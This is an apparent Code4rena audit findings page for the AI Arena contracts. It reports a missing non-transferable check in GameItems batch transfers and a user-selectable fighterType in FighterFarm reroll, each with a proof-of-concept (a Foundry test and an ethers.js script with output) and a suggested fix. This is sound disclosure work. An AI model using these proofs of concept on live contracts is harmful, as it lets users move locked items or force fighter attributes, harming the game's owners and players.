AI Arena - 0xKowalski's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L289-L303

Vulnerability details

Impact

The GameItems contract implements transferability checks to ERC1155's safeTransferFrom method but misses applying these checks to ERC1155's safeBatchTransferFrom method. This allows non-transferable tokens to be transferred in batch operations, bypassing the intended access control.

Proof of Concept

The safeTransferFrom implementation can be viewed here: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L289-L303 The safeTransferFrom method has added checks in place to prevent users transferring tokens that are defined to be non transferable.

However ERC1155 has another transfer method, safeBatchTransferFrom: https://ethereum.org/en/developers/docs/standards/tokens/erc-1155#batch_transfers

A test can be added to GameItems.t.sol to confirm this issue:

function testNonTransferableSafeBatchTransferFrom() public {
        // Fund the owner with necessary assets (if required)
        _fundUserWith4kNeuronByTreasury(_ownerAddress);

        // Battery item, from script/Deployer.s.sol
        _gameItemsContract.createGameItem(
            "battery",
            "https://ipfs.io/ipfs/bafybeibhi6d5l2oqv63gczy6qwprzsspn5t6d5uuvadpl2afzvgtv44h7u",
            false,
            false, // transferable = false
            0,
            10 * 10 ** 18,
            5
        );

        _gameItemsContract.mint(1, 3);

        // Prepare IDs and amounts for safeBatchTransferFrom
        uint256[] memory ids = new uint256[](1);
        ids[0] = 1; // id 0 is taken by a transferable gameItem defined in setUp

        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 3;
      
        bool passed = false;
        try _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "") {
            passed = false; // Transfer succeeded
        } catch {
            passed = true; // Transfer failed (as expected)
        }

        assertEq(passed, true);
    }

This test creates a new gameItem called battery, the test mints some batteries, with the transferable attribute set to false, and then attempts to transfer them using safeBatchTransferFrom. The transfer succeeds, failing the test.

Tools Used

Manual review of the code. Foundry and the projects test suite.

Recommended Mitigation Steps

To address the inconsistency in transferability checks, consider implementing the following:

Modify the ERC1155 safeBatchTransferFrom method to loop over the tokenIds and check each token is transferable.

    function safeBatchTransferFrom(
    address from,
    address to,
    uint256[] memory ids,
    uint256[] memory amounts,
    bytes memory data
    )
        public
        override(ERC1155)
    {
        for (uint256 i = 0; i < ids.length; ++i) {
            require(allGameItemAttributes[ids[i]].transferable);
        }
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Enhance the testing suite by adding additional tests, similar to the demonstrated proof of concept, to check that game items flagged as non-transferable adhere to their defined transfer restrictions.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L367-L391

Vulnerability details

Impact

Allowing users to select the fighter type ensures they receive a fighter with predetermined physical attributes. Setting the fighter type to 1 during a reroll guarantees a fighter whose physical attributes are all ones.

Proof of Concept

Finding can be verified by using ethers with a local deployment of the contracts, the deploy script requires some modification to ensure deployer address has a fighter minted to them and neuron tokens. The inital fighter was created with a fighterType of 0, however when we call reRoll, we pass a fighterType of 1.

const { ethers } = require("ethers");

const fs = require("fs");

const provider = new ethers.JsonRpcProvider("http://127.0.0.1:8545");

const fighterFarmABI = JSON.parse(
  fs.readFileSync("./out/FighterFarm.sol/FighterFarm.json")
).abi;
const fighterFarmAddress = "0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0";

const fighterFarmContract = new ethers.Contract(
  fighterFarmAddress,
  fighterFarmABI,
  provider
);

const signer = new ethers.Wallet(process.env.PRIVATE_KEY, provider);

const fighterFarmWithSigner = fighterFarmContract.connect(signer);

const run = async () => {
  const fighterId = 0;
  const newFighterType = 1;

  const fighter = await fighterFarmWithSigner.fighters(fighterId);
  console.log("Fighter: ", fighter);

  await fighterFarmWithSigner.reRoll(fighterId, newFighterType);

  const rerolledFighter = await fighterFarmWithSigner.fighters(fighterId);
  console.log("Rerolled Fighter: ", rerolledFighter);
};

run();

Running this PoC returns:

Fighter:  Result(9) [
  80n,
  1n,
  Result(6) [ 4n, 6n, 6n, 10n, 8n, 4n ],
  0n,
  '_neuralNetHash',
  'original',
  0n,
  0n,
  false
]
Rerolled Fighter:  Result(9) [
  86n,
  2n,
  Result(6) [ 1n, 1n, 1n, 1n, 1n, 1n ],
  0n,
  '_neuralNetHash',
  'original',
  0n,
  0n,
  false
]

Executing this script demonstrates that rerolling with a fighter type of 1 modifies the fighter's physical attributes to ones.

Tools Used

Manual Review Ethers, anvil

Recommended Mitigation Steps

The fighterType's implementation may lead to confusion as it's not stored with the fighter but influences the dendroidBool, which also has binary states. It's suggested to integrate fighterType more coherently into the fighter's creation or reroll process, allowing the reroll method to directly use fighterType from the fighter's attributes, rather then relying on user input.

Assessed type

Invalid Validation

Judge has assessed an item in Issue #1028 as 2 risk. The relevant finding follows:

[L-1] Potential DoS from High roundId/winnerAddresses in MergingPool::claimRewards